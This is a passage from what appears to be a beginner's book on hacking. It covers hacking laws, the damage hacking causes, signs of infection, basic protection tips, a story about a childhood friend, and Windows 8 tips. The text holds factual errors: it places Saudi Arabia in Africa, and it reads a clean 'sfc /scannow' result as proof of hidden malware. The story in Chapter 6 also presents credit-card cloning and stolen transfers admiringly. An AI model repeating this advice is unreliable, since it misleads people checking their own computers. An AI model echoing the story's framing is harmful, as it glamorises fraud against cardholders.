The main problem is that government agents aren’t making the difference
between the two types of hackers, so if you are basically curious to test your
skills on a system you can win up to twenty years in prison just like black hat
hackers who are spying on the internet, hacking important systems and have evil
goals.
Or worst than that, there will be no difference between you and a person who has
killed or abused other members of the society.
In general, governments aren’t paying too much attention for hackers, a
nightmare for the government is represented by smart hackers who could not be
detected and do it just for amusement and because they are passionate, so if you
are a black hat hacker you should have intelligence and speed reaction in order
to stay under cover forever. Government carelessness about those who help them
sometimes improve their systems is brightly reflecting in the laws that
government is imputing no matter in which country on the globe. Let’s take as
an example United States of America because they are at the moment the biggest
political, economical and social power in the world.
In United States of America there are many laws that are banning hacking just
like 18 U.S.C. § 1029 which focuses on creation, division and use of codes and
machines that give hacker illegal access to a computer system. The language of
the law is incomplete and unfair because it is making reference only to creating
and using a machine with a bad intention, but it does not make any specification
about testing, learning and understanding systems.
If we take a closer look to the laws, we can also find another interesting law in
U.S Department of Justice which is 18 U.S.C. § 1030, this law is banning
unauthorized access to government machines. The law is considered broken
even if the hacker only entered the system without doing anything else.
There is a big range of penalties going from big considerable fins to years to
spend in the jail. Officials consider that minor hacking actions deserve
punishment starting with six months while bigger actions of hacking and attacks
can take up to twenty years in prison, they mainly focus on the damages made by
the hacker but does not anyone think about the money spent on the hacker’s life
in prison?
Let’s analyze another country, let’s take as an example a European country like
Germany (Deutschland) which has similar laws in comparison with USA. There
is a law in Germany that is banning even possession of hacking tools and even if
you never open or use them, once you are discovered you can’t escape. The
nation is complaining about this law because many applications fall under the
definition of hacking tools and it is an infraction under this law if organizations
or companies hire some hackers to check their system weakness and flaws.
Believe it or not, Germany has adopted a new law in 2007 which is going way
too far because even if you go in a computer stole and ask the seller to give you
a computer because you want to start hacking even if you are kidding you will
get arrested if officials hear about your joke, more than that, if the you will buy
the computer from the seller he will be arrested too, don’t joke too much if you
go to Germany, you never know when you could be considered wrong.
Traveling to Africa, the situation is a little bit more different, in Saudi Arabia for
example it’s considered a law deviation if you have a false name in a hacking
operation according to Article 4 of their Basic Law of Governance. Another law
going too far in the same country is about assisting to such an operation and not
telling the officials about the operation; even if you are watching your friend
how he is testing a system and you aren’t telling the officials about it it’s
considered a cyber crime.
Taking a look at the situation in Asia, laws are a little bit too permissive in China
and maybe that’s why they are in the first place at hacking in the world but
official sources say that the situation will change in the future because the
government is taking care of this problem and they are formulating new
measures for hacking and its adepts.
Top Ten countries in hacking puts United States on the second place after China,
followed by Turkey, Russian Federation, Taiwan, Brazil , Romania, India, Italy
and Hungary.
Before deciding to test systems, make sure you have fully read and understood
all the laws about hacking in your country, be careful all the time about what are
you saying and to whom you are saying.
Legality offers you as a gift your freedom, this gift is very precious and it is even
more precious than your passion because those two things go hand by hand, you
cannot take full advantage of your passion in prison where most likely if you’re
a hacker they will ban access to a computer in your case.
Give a special attention to the laws, because even if you think that they are very
unfair you cannot avoid them and in the end you are under your country’s laws
so please make sure you will not break them. Hacking operations are a sensible
subject for every country and the big problem in the world is that people who
make the laws are not in knowledge of everything about a domain and that’s why
sometimes we are supposed to respect laws that are making no sense.
How do Hackers Affect Our Lives
According to Newton’s Third Law, for every action there is an equal and
opposite reaction and this is just so true. Everything we make has an effect but
sometimes we do not notice the effect or even realize there is going to be an
effect, but some of us simply ignore the effects of their actions.
Hacking has its effects too as any other action; there are effects on individuals,
organizations and on society in general.
Let’s see the effects on every level starting with the effects of hacking on an
organization. It depends of course on the hacker’s goal but generally hacking is
big companies and organizations worst enemies because they can cause huge
damages into their economy.
For example, in 2003-2004 United Kingdom has paid due to computer hacking
billions of pounds in order to solve their problems. A BBC article relates that
viruses designed by hackers made a damage of $55 billion around the world in
2003 in businesses domain. In 2011, Sony has paid from its pocket around $170
million because they have got their Play Station hacked in a single shot, at the
same time Google has paid around a half million dollars due to “middle sized”
hacking operations. Richard Power says that due one hacking session companies
and organizations can pay up to seven million dollar in one single day.
Despite the financial side, there is an effect on the organizations and companies
information; most of the hackers search instead of cash money some valuable
information such as plans, researches, strategies and reports. Online databases
can be a hacker’s goal as well as reports, they might want to obtain addresses,
phone numbers or emails, such an attack on a small company would cost them
more than the company itself.
Some hackers try to affect the organizational structure of a company by
modifying it or stealing from it the elements they want to but this kind of attack
is really difficult to realize because most of the companies employ specialized IT
teams that are always working on updating, creating and civilizing security
systems to prevent hacking.
Hacking affects also the computer and technology industry but the industry may
take benefit from hacking if they know how to redirect the situation in their
favor.
Private companies which are specializing on creating security systems may use
hacking as a key to their success.
More than that, companies prefer prevention not cure so they might invest huge
quantities of money on security systems and why not hardware because there are
hacks which can be possible only modifying the hardware.
Once we know the effects on this level, we can move to another level which will
be hacking effects on society.
Only an example of hacking can get society crazy and make its members spend
big money on better software, which is not a bad thing because a better software
means always a better life.
Hacking is causing money loss here as well because society members aren’t
always good informed about malware and what could malware do so they are
happy when they receive an email that is promising them millions of dollars if
they gave their personal information. Social engineering is affecting this
category in a very intense mode because malware and social engineering are like
the relationship between your hands and your eyes when you are crying; you
always remove your tears with your hands.
So, hackers are responsible both for excellent and awful effects on the society.
As an effect of White Hat hackers we own basics such as the Free Software
Foundation that have finished it possible for computer adepts to exercise, learn,
copy, adjust, and reorganize computer programs without paying for it. Grey Hat
hackers have also had helpful impacts on society by running to find
vulnerabilities in traditional software products with the intentions of notifying
the creators and designers so they can secure the troubles before a Black Hat
hacker can come along and develop the error.
The society got affected in 2002 when a cyberterrror movement was started by a
group of hackers named El8 against a white hackers group known as Project
Mayhem. The campaign’s goal was causing a chaos around the globe by
destroying the infrastructure of security systems manufacturing.
This is not everything, there is one more effect and that effect is on individuals.
Hackers can loose everything starting from their life funds and transform their
financial situation by bringing it underground. As a hacker you have to work
with people and invest a lot of time in this by listening to everyone’s problems
and trying to solve them, the problem is not this, the problem is that people do
not understand what you are trying to explain because few people have a base in
hacking and explaining the situation to them can bring your nerves down.
Another effect gained by hackers is the financial one, only passionate hackers
make viruses and discover new techniques to hack for free, the rest are using
hacking as a machine to get money because they get information and sell it later
or they can create and send viruses specially for money.
Also, by hacking they can risk their freedom and that’s the worst thing from all
the above.
In each case, hacking affect badly reputation, it affects the hacker’s reputation,
the organization’s reputation and the society’s reputation as well and that’s how
hacking can damage effectively the reputation and usually the most affected are
the big companies and organizations because if they are hacked a few times in a
short time they can lose up to 50% from their customers.
Hacking also has an impact on the computers and it can affect computers in two
ways: affecting the software and affecting the hardware, both can be destroyed if
the hacker is skilled and the could be never brought back in some cases, but in
other cases the damage is not too big and owners can use it again after the hack.
How to Know if You’re Hacked
Each one of us can be a victim of someone’s hack, the first step in saving
yourself is knowing that you are hacked and after that go to a specialist to make
sure that your problem exist and to find a solution as fast as possible. But how
do you know you have been hacked?
The first part: Observe the marks of a possible hack by following the next
steps:
Who knows your computer better than you do? No one, so please take a close
general look and spot if there is something that goes wrong such as your
computer speed, files loss, the computer is not recognizing your password and
you cannot open programs, surprise! Some programs you didn’t install, it’s
connecting to the internet automatically even if you did not activate this option,
files have suffered changes and if you have a printer it way act strangely.
The next step is going online see if you can access all the websites with your
password and if you can then that is a good sign but if when you go online your
searches are redirected to another pages/sites and if there will born new extra
browser screens then I don’t have the best news for you.
You can turn suspicious and get worried if there are multiple toolbars on your
browser, this is an important sign that you have been hacked also if your
antivirus software is not working and if you receive fake virus messages you
might be hacked. Visible signs of hacking are some bills you get without
purchasing anything and check your sent section in the email to see if there are
some emails sent except the ones you sent, sometimes the fake emails do not
appear on the victim’s screen but to make sure call a friend and ask for the last
email send by you or any strange email received from you.
Google yourself! This helps a lot in finding out if you are hacked, see if there are
any too personal information that you have not made public.
Hackers usually fully control your machine if they want, so if things are going
crazy and the situation is no more under your control then you are manipulated
by another person 100%.
The second part: what you must do if you recognized any signs of the above
First of all, throw away your internet connection and disconnect as fast as you
can because in this way if there is someone controlling your computer they will
immediately lose the conection with you, don’t forget to plug out the router too.
So, right now you are fully under mission and you should pay more attention
from now on, to continue start up your computer and boot it in safe mode make
sure it is disconnected completely and use safe mode from your computer to
reopen it.
After that, take a close look and check for any new programs like anti-spayware
or anti-virus and it’s recommended to check if your programs and files refuse to
open. If you are finding new strange programs you did not install, uninstall it but
if you do not know how call a computer center service and bring a specialist
uninstall the programs for you. The next step you should follow is scanning your
computer, do a sweep using an anti-virus like Avira, AVG or Avast and don’t
forget to request help if you are unsure about this. If the test ends up with
nothing please back up the files you consider important and after that do a
complete system restore and make sure you get the latest updates.
If you have been an online banking hacking victim, take your phone and alert the
bank! Contact them to explain the situation and to store your accounts, a good
idea is to request some advices for the future about funds protection.
And the last step is to alert all the people that have your email and let them know
about your problem but do not give too personal details, make sure you clearly
explain what is hiding behind the emails from you and make them delete the
email and to not follow any links or suspicious material, ask them if they already
did it and if they did it help them protect their computer and act in the way you
just acted in your case, let’s give help if we can.
Some people live their whole life without knowing they are hacked, and most of
them do not even care about this aspect because they are not giving their devices
attention and they really do not care about them only if they can hit them, which
is very possible to happen because most of them put important and personal stuff
on their machine such as business documents, personal photos, personal videos
and sensitive data in general which they want to keep private but once they are
hacked all those data can be shared with the public.
Remember that everything could get hacked; this is the main reason why we
should invest in quality software and pay a special kind of attention to all of our
devices, if anything is going strange with your device even if it is a printer,
computer, phone or tablet please take the right attitude and if you do not know
how to do the steps from above, take your device to the closest center that offers
support to devices which work electronically, it is better to pay a sum of money
than losing everything.
The method presented will not take you too long to save your computer’s life
but, in the end, every person is free to build their life as they want by choosing
what they want. Do not let other control your life by controlling your computer,
even if the hacked computer works pretty good you should to your best in order
to lose connection with your hacker.
Some hackers use professional and sophisticated systems and if they want to
infect something, in most of the cases they will make the hack look like it is a
part of your system. Sophisticated systems allow hackers use the best malware
that embeds itself in the hacked system and the hacked system will not be able to
detect it or even to remove it.
If hackers get more professional, you must do it and this book is going to present
another method, a little bit more complicated that will help you to know if you
are hacked or not, and if you are giving you a solution is a must to do. Hackers
who prefer sophisticated methods to hack want to create a botnet which is a
network of compromised machines managed by them; a botnet can have only a
command center. To get rid of this kind of hacks, kindly follow the next steps:
Make sure you have a good quality anti-virus, anti-malware software which can
detect all kinds of viruses and malware like Trojans, worms, keyloggers and
rootkits, because there are coming up everyday new versions of malware and
they might not be recognized, but try to get the latest versions of anti-virus and
anti-malware because it is better. So, run your anti-virus software and start doing
active sessions of scanning.
Next, see what is going on with your Task Manager, it is the first thing you have
to check if you are suspicious about being hacked. Instead of the classic method
( Typing Task Manager in the search line of your Start button) to open it, you
can try something faster with your keyboard by beating Ctrl+Alt+Del at once
and selecting Task Manager at the end of the menu that shows up. After you
open Task Manager select by clicking the option “Processes” and a window is
supposed to show up, check your CPU Usage at the bottom of the window and if
the CPU is too high something is going on your machine without your
permission.
In general, on clean and uninfected machines CPU Usage is under 10%.
Move to the next step in order to continue the process and check your system’s
integrity in Windows because once you know that there is something on your
system you should try to identify it as well. Microsoft has built a system
integrity checker into Windows known as sfc.exe which must be able to test the
integrity of the files in your system and it helps you a lot in scanning for
corruptions.
A command prompt is essential so please open one if you have not yet, after
your right-clicking select Run as Administrator and write the command /
sfc/scannow / and the system will welcome you with something like:
Microsoft Windows [Version 6.1.7601]
Copyright <c> 2009 Microsoft Corporation.All rights reserved.
C:\Windows\system32>sfc /scannow

Beginning system scan. This process will take some time.

Beginning verification phase of system scan.
Verification 100% complete.

Windows Resource Protection did not find any integrity violations.

C:\windows\system32>
And if it is displaying something like the above means that the system is infected
with a hidden malware.
After that, test Network Connections using Netstat because hackers are
communicating with your computer via internet connections, Windows has an
utility called Netstat and it is specially designed to make you able see all the
connections on the machine, you will need again a command prompt so open it
and use the command / Netstat- ano/ .
Some of the malicious family can’t be detected with Netstat but you should try it
because some versions are detectable and you never know what is under your
possession.
Install Wireshark program which can help you in checking the internet
connections which is a utility that identifies everything that is getting in and out
the computer. It is less possible to be controlled by the malware because
compared to Netstat this is not a Windows tool. After you install it open it and
let it spot all the packets that are traveling in and out your system.
Hackers use high number ports when they are manipulating so search for ports
between 1500 and 60000. It will appear on one of those ports if you have
malicious stuff in your computer, checking traffic that leave your system is also
a good idea. To see the traffic from your system create a filter in Wireshark by
writing it in the filter menu, type this after ip.src == PUT YOUR IP HERE.
The filter created is going to show you traffic only from your system and that’s
why your IP is requested. Write into your filter’s window this ip.src== PUT
YOUR IP HERE and if the syntax is right it should switch from pink to green.
After this please click on Apply button and look for unusual traffic( the
malicious one) and if you detect something unusual please contact a specialist in
order to help you as fast as you can do it, malicious files are so hard to find
because hackers all over the world create new versions almost every hour while
viruses are not that easy to make and this is the main reason why malicious
family hits more often than ever, because it is so diverse. Systems as Linux and
OS are even more complicated and you need to be a master in the domain in
order to discover that they are infected with something but the main advantage
with those systems is that they are immune to most types of attacks, but not to all
types.
*NOTE: this method itself is a challenge, if you choose this method please be
patient and careful, do everything with a maximum of attention and check your
traffic list more than once to make sure you will detect if there are any of the
malicious family members captive in your system. Even if this method is a little
bit harder than the other one presented it is very efficient and worth to try.
How to protect Yourself From Hacking
Prevention is literally always better than cure, it is better to avoid an unwanted
situation and everyone can do it with a little bit of attention and it might request
an investment, but always remember that cure prices are higher than
investments. Why not keep your body healthy by making an investment in some
vitamins instead of getting ill and pay a lot of money, physical and psychical
effort? You can avoid a lot of things. Protecting your computer from all types of
hacking is very important for you and for your system but few are those who
know how to do it and their number is decreasing …
A high number of attacks make the internet to look like it is holding a horror
movie story nowadays due to the big numbers of cyber criminals and their
attacks, keeping your device healthy is crucial in the battle against hacking.
Parents are advising you because they want you to be happy, this book has the
same task.
Make sure that your computer is not a magnet to hackers due to its
vulnerabilities and always check on new updates and install them, don’t wait too
much because hackers are always ready.
The first things you should take attitude and protect your computer from are
viruses; there are several ways to categorize viruses and each one comes with its
own names. There are macroviruses, worms, backdoors and Trojans are the best
known and experienced at the moment. These viruses multiply over the internet
and malicious websites or other sources to infect the computer. Others spread
though devices that are allowing you to write information and reading in such as
USB memory sticks and external hard drives. Viruses have three main functions:
infect, destroy or damage data on your machine together with information on
external drivers. Hackers can also use your computer as a hacking machine by
infecting it with viruses but luckily there are many tools that help you keep the
situation under control.
Anti-virus software highly respected and appreciated by experts is Avast which
has a regular set of updates and it is easy to use due to its design.
Some useful tips below to increase your AV’s yield:
Install only a software.
Make sure your AV software updates automatically, this will take
worries away.
Ensure that your software accepts updates.
Check your computer’s situation at least once a week.
Make sure that the software is always running.
How to avoid infections?
Be very careful about what files you choose to open and download from the
internet, it is recommended to delete immediately files from unknown people or
organizations after you receive them. Risks are at every step, so take them in
consideration before you burn a CD or run a USB stick into your computer.
Make sure again that your AV software is running before you insert them.
Virus creators do not usually target free and open source software and you can
avoid some infections by switching to this kind of software.
Spyware is another thing you should be aware of. Spyware is belonging to
malicious software family and it is used by hackers to track your work and to
allow them get the information they want from you. This software is capable of
recording your mouse movements; collect the words you write, the pages you
enter and the programs that belong to you. As an effect of the previous actions,
hackers can break your security and gain personal data about you and in some
cases about your contacts as well. Machines become infected with spyware in
the same way they get infected with viruses. Review your browser’s settings and
make sure they are secure.
Anti-Spyware tools are very welcomed to protect your computer and Spybot is
what you need because it is capable of identifying and removing known types of
malware.
Prevent this type of infections by following the next steps:
Read everything that shows up in your face carefully before clicking
ok or yes.
Never accept to run content from unbelievable sources.
Getting a firewall is also important because it is the first program that knows the
incoming information from the internet and the last one to control outgoing data
as well. With a firewall you do not have to pay attention to the incoming and
outgoing information is not important anymore.
A high quality firewall will ask for your permission for each program on your
machine. When one of your programs is trying to contact the outside world your
firewall will alert you and ask you if you trust it. In this war between hackers
and non hackers such a firewall could be used as your front of defense.
To avoid untrusted network connections you should:
Install on your machine only the programs you need and download
them right with their license.
Do not give your passwords to anyone.
If you do not need an internet connection please disconnect your
machine.
Shut down your computer at night.
Ensure that all the computers which belong to your network have a
firewall.
Get an easy-to-use firewall.
Keeping your computer up-to-date is very important for your security, you
should update everything on your computer starting from your operating system
and ending with the programs you use. Updates are required regularly on every
software.
Also, stay up-to-date with FOSS (FREE AND OPEN SOURCE SOFTWARE)
and freeware tools. Try out them to any propriety software used by you; pay
extra attention to unlicensed programs.
These tools are built by experts who belong to non-profit organizations or
companies which update them frequently free of charge.
Numerous FREE AND OPEN SOURCE SOFTWARE (FOSS) applications may
be similar to each other and work in the same way only with small differences.
Studies provide that getting away from the Microsoft Office operating system
and moving to FFOS alternative named GNU/Linux is more secure and it is
healthier for your computer. And remember, prevention is better than cure!
Those are not the only ways to prevent attacks; life is full of options at every
point of it so protection is as well full of options at every point.
In order to increase your system’s security you can follow the next advices but
keep in your mind that everything is possible and that there is not any hardware
or software which is impossible to hack.
A strong password is one of the first steps you should make in following your
road to protection because it helps on securing your information. It is
recommended to repeat combinations of random alpha-numeric characters such
as numbers, symbols and letters that will be more than eleven characters. To
reduce the risk, please use a password manager. Even if your password is one of
the most secured in the world do not forget to pay extra amount of attention to
the websites you visit.
Two-Factor Authentication is very important and they have a positive effect on
you. Websites and companies which respect their customers and services will
provide such an option. Let’s take as an example Twitter, if you have a twitter
account and you try to log in from an unknown device, after typing the password
they send you a message on your phone with a verification code you should
enter in order to access your twitter account. Such options alert the users exactly
when someone tries to get into their account. This option is used also by Apple,
Microsoft, Google and Dropbox. To get full advantage of this option set up your
settings carefully.
Never back up sensitive information on your phone using the internet, just
ordinary activities and nothing more than that. Keep sensitive documents and
images of all external servers which mean you will not allow applications like
iCloud or Flickr and others to automatically upload information to their storage.
And to resolve this problem create an external drive which you will only access
when you are not connected to the internet and keep the sensitive data there.
Also, you should not link accounts because hackers can take full advantage of
this action and compromise everything that belongs to you by proxy. Nowadays,
it is really to keep accounts far from each other due to social media which had a
strong impact on society. Check which applications you have linked in the past
with your social media accounts and remove them if you are not using them.
Choosing a hard-to-guess security question might save you from being a hacking
victim as well, but in the century of social media websites where every person is
sharing everything is not making sense for them, but for those who are a little bit
mysterious and keep their personal details away from people might be a solution.
Even if you are extroverted and you share everything about you, answering with
stupidity might increase your security level.
Don’t forget to protect all your devices with passwords. It is a must to do when
you get a new device such as a phone or tablet, you should secure it with a good
password. Changing your passwords often is also an idea to take in consideration
due to the daily discoveries of the hackers. By giving importance to your devices
you also give importance to the contacts that are “stuck in” there.
If you have a domain name you can choose to privatize your website because
once you have a domain name there are big chances to access your data without
effort. Privatize your domain registration by going to the usually used domain
registration site, log in and search for the option that allows you to privatize your
data and if this option seems to be hard to find or inexistent please contact the
site and let them guide you though the procedure. This option might request fees
but it is definitely worth it.
Clearing your browser data is also an action you should often do and not only on
your computer, on all the devices which are under your possession. Browsers
keep everything about your online activity and collect records of every site you
have visited, data such as what you download or send can be stocked for weeks
and the hackers take full advantage of this by stealing your records of online
activity.
Try to avoid public computers because hackers use them to challenge their selves
often and you should keep out of their game.
Using “hyper-text transfer protocol secure.” – HTTPS, it is similar to HHTTP
which people use to enter internet addresses. HTTPS is giving you an extra level
of security and encryption when you are using the internet, the data is also
validate which means that HTTPS can show you if the website is either fake or
original.
Free Wireless access is nice and helpful, but check twice the connection you
choose because free Wi-Fi is the easiest way to hack something, hackers can get
everything from your device if they are connected to the same network as you
do.
Be careful which connections you choose, some hackers specially make ones for
their future victims, if you really need free Wi-Fi more than anything then make
sure you are connecting to a serious source.
Updates are good to have and very welcomed in your life and on your systems,
the world is changing second by second and there is something new that shows
up second by second, of course you can not see and take full benefit of
everything that goes on in the both virtual and real worlds but you can try at least
to keep in touch with innovation by trying every thing new that fronts you.
If updates were not as important as they are, maybe this would have a huge
impact on individuals, organizations and on societies. Updates are the real proof
which indicates that there are bright minds that think for everyone and find a
solution for every problem.
By following the advices and methods given you will be in a process of mind
growing with a high level of security guaranteed by the methods and advices.


CHAPTER 5: ADVANTAGES AND
DISADVANTAGES OF BEING A HACKER
Despite that every action has a reaction, every action has advantages and
disadvantages. If you decide to do an action you should assume both success and
failure and both advantages and disadvantages. There is no perfection in the
world so it is impossible to find anything that has only advantages or something
that has only disadvantages because anything should have a balance.
If you are an ethical hacker you should take full advantage of the situations you
are in because you have to tailor different solutions for different problems, you
can not have a standard set of action so you will create a plan for every hack and
your plan should contain the next equipment:
1. Give details about testing intervals
2. Give details about testing processes
3. Identify all the networks that you should test
4. Get the plane approved because you are working with people.
And if your plan is successful you should be very proud of yourself because you
will save and protect a big number of people including your friends, family and
in general everyone you love, you should be proud that you are giving a hand in
building your country’s security! Another benefit if you are passionate about
hacking and you really love what to do is being paid for it and getting your
freedom guaranteed.
Also, other categories of persons take advantage more than hackers if we talked
about ethical hacking because ethical hackers are fighting constantly with
terrorism and the attacks which attempt to the national security.
The advantages and disadvantages problem has two big answers: if you see
hacking advantages and disadvantages from the hacker’s angle or if you look at
the advantages and disadvantages from the public option angle. The main idea is
that what is an advantage for a hacker is a disadvantage seen from the other
angle of the public opinion and it works vice versa.
So, we remain under the ethical hacking example and if an ethical hacker is not
paid at time, he could send you some malicious file or he can do an attack
because he is skilled in order to get money and you as a company or organization
are disadvantaged. Hackers know all your system’s flaws and vulnerabilities and
they can use it to destroy you. On the other part, if everything goes on as it is
supposed to; you will take advantage from ethical hacking because your system
will be more immune to attacks. Another disadvantage for your company or
organization is that the hacker knows all your financial data and I do not think it
will end up good for you if you make them mad …
And if your hacker is making a mistake your company is always paying for his
mistake but you are the ones who have hired him.
And now let’s move from the particular example to a general one, hackers are
very advantaged because they have the chance to test their abilities and they also
learn how to work independently while for a company this is a disadvantage
especially if it is a big company, it could turn anytime into the testing or hacking
area if the hackers want to.
A disadvantage for you as a hacker is if anyone else know about your activity
because being if you are not in ethical hacking then you have big chances to get
a free trip to the jail and maybe a sentence, while the people you know can play
on you however they want because they know about your “hidden” activities, so
as a hacker beware of who you allow to stay around you because you never
know.
As a hacker, you can always get based on people’s mistakes and with their
security problems, while vice versa in this case is not possible except if the other
people are hackers too.
Another advantage hackers get from you is that via computer hacking they can
control your machine and do whatever they want to with the machine or worst
than that, Monster Hackers can let your machine become their operating
machine and if authorities will find out the hack guess who will pay? You will
do it defiantly because the hack is made from your machine. Another thing
hackers can do is shutting out the systems of the victims and attack their victim’s
system by sending viruses and worms to it while non hackers are not capable of
doing this because they are not skilled.
There is a category of hackers which is based on social engineering, guess who
will help those hackers get their goal? The victim will do it by clicking the
infected links, files or documents they receive via email.
Other hack operations like stealing passwords, sensitive data such as email
address, money or photos can be performed by hackers and non hackers have no
chance to succeed.
At the main advantage that non hackers get from hackers is wearing a form of a
lesson because you can learn from hackers that there is no 100% secure
technology and you can also switch the situation in your advantage by using
hackers to help you in problems as sensitive data recover but hackers are the
ones who can harm your privacy at the same time.
If right now a battle would start between hackers and non hackers, the victory is
for hackers because they are always informed and ready to action with their
skills.
As a hacker you are always under mission so you keep your mind active,
something that non hackers cannot take advantage of.
So, seeing the advantages and disadvantages of the problem is a hard operation
because there are two sides that are taking advantage of the others side
disadvantage and that is how it works in general, but if you have well based
package information and skills you can turn the situation in your favor anytime.
It all depends on vision and on how hackers and non hackers can redirect such a
problem.
CHAPTER 6: HACKING TO CHANGE THE
WORLD POSITIVELY
An Anonym Hacker Who Could Save the World (based on real case)
“The past is a foreign country; they do things differently there.” that is what L. P.
Hartley said once, and taking a little time to think about this quote was definitely
one of the best decisions ever because it is really surprising how your brain can
make connections with the reality around you, sometimes you feel like
everything is going crazy and you do not understand anything just take a few
hours and think about it, the solution always exist.
This quote made me remember about an old childhood friend, we will call him
Mister R in this story. I have met Mr. R in a park in Romania, this happened
when we were both at age of 6, sixteen years ago. I and Mr. R were associated in
making sand castles of sand in the park; we were the masters there because
everyone knew who were the authors of the castles which were filling more than
a half of the sand’s area in the park. I was coming with the forms and Mr. R was
bringing water and shovel, that was our mix to build our famous castles and
thinking about those times make me feel like they happened a million years ago
in another life.
After building our famous castles, we were often tempted about the idea of
getting together and watching cartoons such as Dexter’s Laboratory at Mr. R’s
house, we are still fascinated about everything than means technology, devices
and machines and about how do they work. But destiny did not want us to
continue growing together so we separated because I had to go to my native
country. Romania was for me just for holidays and my beautiful friendship with
Mr. R was consumed in the summer more than ever because we were meeting
only in the summers when I was coming to Romania.
Time flew so fast and we became almost teenagers, the biggest trend of that time
was to have an email address, and because I and Mr. R loved technology we
have got our first addresses when we were in the period between puberty and
adolescence. Those email addresses were the only way to communicate with Mr.
R and as a result we both started to spend days and even weeks in front of the
calculator. Special connections exist between people and they are just like the
connection between a router that is giving internet and a computer that it is using
it, both of them know all the details about each other. The same was happening
between me and Mr. R because even if we did not talk for days we almost knew
what is each one of us thinking about, I knew what Mr. R was thinking about and
Mr. R knew what I was thinking about as well. I still remember how excited we
were both of us when we were hearing that a new program is going to be
realized or about a new device that is going to be on sale. Technology kept our
friendship active through the time and we were using technology in order to talk
about it, I was telling Mr. R all the news and updates I knew about the
technology and vice versa.
Our favorite place in this world is Technisches Museum Wien, Austria because it
is the right place to see the evolution of machines from the oldest times to the
current times, you can see from old trains and electricity devices to the latest
models of Tesla cars, you can see from airplanes such as Diamond DA 42 to
Piston steam engines and one of the biggest technology range in the world. For
us, the trip was just like paradise because both of us were feeling like home in
that museum.
In that trip to Austria, on our way to home, Mr. R was behind a person that was
whispering to his friend about how successful he is in hacking and about how
much money he earns monthly doing it.
After we both arrived from our trip, I went home and Mr. R went directly to the
library saying that he needs something urgent, I felt that something is not going
on as it should but I didn’t pay much attention and I regret it now.
On his way to the library, Mr. R was walking very fast because this is an effect
he gets when he has a good idea and in a moment of inattention he has got into a
car accident. I have got the black news from my sister who was working as a
doctor in the hospital where Mr. R spent a lot of time.
I went to see Mr. R’s situation and when I saw him I felt very guilty because I
didn’t stop him, but in my head was something like “seriously? Will I keep listen
to all my feelings? There are more impornat things”. More than that, I had to go
to my country 2 days after the accident “abandoning” Mr. R in the hospital even
if he wasn’t alone at all. Mr. R stayed in coma for 3 days and after the 3 days, he
woke up.
I was home, feeling horrible about the situation with Mr. R and I didn’t talk to
him very much until we met again in the summer. When I saw Mr. R in the
summer, his behavior has suffered modifications; he was spending most of the
time at home saying that he is studying. I called him in the park we have met for
the first time and I decided to talk opened to him about all the situation about the
accident and fortunately, our connection was established again because he
decided to do the same. Do people work like machines?!
I told Mr. R that I was feeling guilty about what happened and asked him why he
went to the library in that day and didn’t pay attention to the cars around him and
Mr. R answered “I went to the library because I wanted to get a manual about
hacking. I was walking fast and I forgot to pay attention to the cars because I
was too distracted by my idea, I felt like extra natural forces were controlling me
at that moment” and our discussion continued until the rain started, and because
Mr. R’s home was closer to the park than mine, we both decided to go there.
When I arrived at Mr. R’s house I felt like being in Dexter’s Laboratory because
there were different kinds of machines, one PC, two laptops and some papers
thrown on the floor. I did not have to ask because Mr. R started to tell me
everything, he said that in his coma period he had a vision about a “future life”
and after he has got off the hospital he bought machines that were cloning credit
cards and started to use them, he had a lot of CD’s and he told me that he is
officially a student at the IT University in our town. Mr. R’s hacking operations
were successful, his card credit clones worked undetected and he started also to
make money from hacking transferring money to his account. It was a little bit
SF for me to see his house transformed but however….
Years were gone and Mr. R has just finished his studies but never worked legal
using his Diploma, he were saying that he is making more money from those
operations and he does not have to work anymore. He became famous in the
town across the time and his intelligence was explored day by day and he was
saying that he has money in accounts all around the world, all made from
“business”.
One day he decided to throw a party at one of his residences, because he bought
more houses after he has got full of money and local authorities knew about him
and his abilities but he was too undetectable and they did not have any proof
about him. So, at his party people felt great but the neighbors did not feel great
because the party people were too noisy and they were too old so they called the
police, and the police can’t waited for such a moment! They have got Mr. R in
the prison for breaking the public discipline laws but Mr. R was too smart for
such cheap actions, in fact, getting him in jail was a game controlled by big
powers and institutions. In the prison, Mr. R has got several offers to work for
NASA and security international organizations and the condition to get his
freedom again was to accept one of the big offers, that is how he got out of the
jail, by accepting other’s rules to play with people’s lives but because Mr. R is a
very clever person, it has a plan to escape from the miserable situation he is in
now.
Mr. R’s abilities are considered very high because the organization he works for
now (forced) consider him the master piece in saving some security systems, but
Mr. R is smart and he won’t tell his secrets and ideas too easy.
It is funny how others have the permission to break the rules made by them! Our
world is such a defect one because the vulnerabilities have been discovered but
in order to resolve the problem, Big People prefer to keep them hidden and take
full advantage of them.
The only way to save ourselves from those dirty big games powered by Big
people who are superior to every one of us by their influence is to open our eyes
and as hackers invest time in exploiting vulnerabilities, we should do the same as
they do, we should analyze flaws in our system and make all the world wake up
at the same time. The question without answer is: If all the people from the
world would generate a big revolution, who will win? The ones who got the
power or the ones who are right and can prove the truth but they are controlled?!
It is easier to repair a computer system than a worldwide system.

CHAPTER 7: HACKING TIPS AND TRICKS
Tips and tricks about any domain in life are welcomed but a special place is
occupied by technology tips and tricks, they help you do your work faster in
some cases and in other cases you discover some new features which you did not
even know that exist, and because we love updates and we love to try everything
new we are going to start with some tips and tricks about Windows 8 because it
is relatively new and unfamiliar for those who just installed it, so here we go,
tips and tricks below:
•Utilize and hack the Power User Menu
Microsoft has all the rights to take or give anything about their programs and
systems and this is what Microsoft did here as well, here is no start menu.
But Microsoft is professional so they delivered a helpful new tool called the
Power User Menu. So, right-click in the lower left tusk of your desktop and it
should show up a written menu which allows you to access 16 utilities and
between them you will find tools like command prompt, Run box and an
administrative command prompt. Click on “Programs and Features” and by
doing this you deliver to your Control Panel an applet which will allow you to
uninstall your desktop programs, take a look at what updates you have and
switch certain Windows features either on or off. Mobility Center will take you
to an applet which is going to let you change your screen orientation, manage
brightness and a lot of other settings.
Also, something interesting about Power User Menu is that you can hack it. It is
allowing you to remove files you do not want there and add the items you want
to appear just like a list of most used programs, games, etc.
Check if everything works as it is supposed to and make sure that you can access
hidden files in File Explorer and take a trip to:
C:\Users\<i>username</i>\AppData\Local\Microsoft\Windows\WinX
And there username will be your account name; you should find three files there.
Every one of it has shortcuts to Power Menu applications. The first group ( file
Group 1) includes the Desktop ; the second group has as content the Control
Panel and Task Manager and you will also File Explorer, Run and Search; The
last group includes the two command prompts , device manager, event viewer
and everything that was not included in the other two groups.
If you take a look and Power Menu you will observe that there are three groups
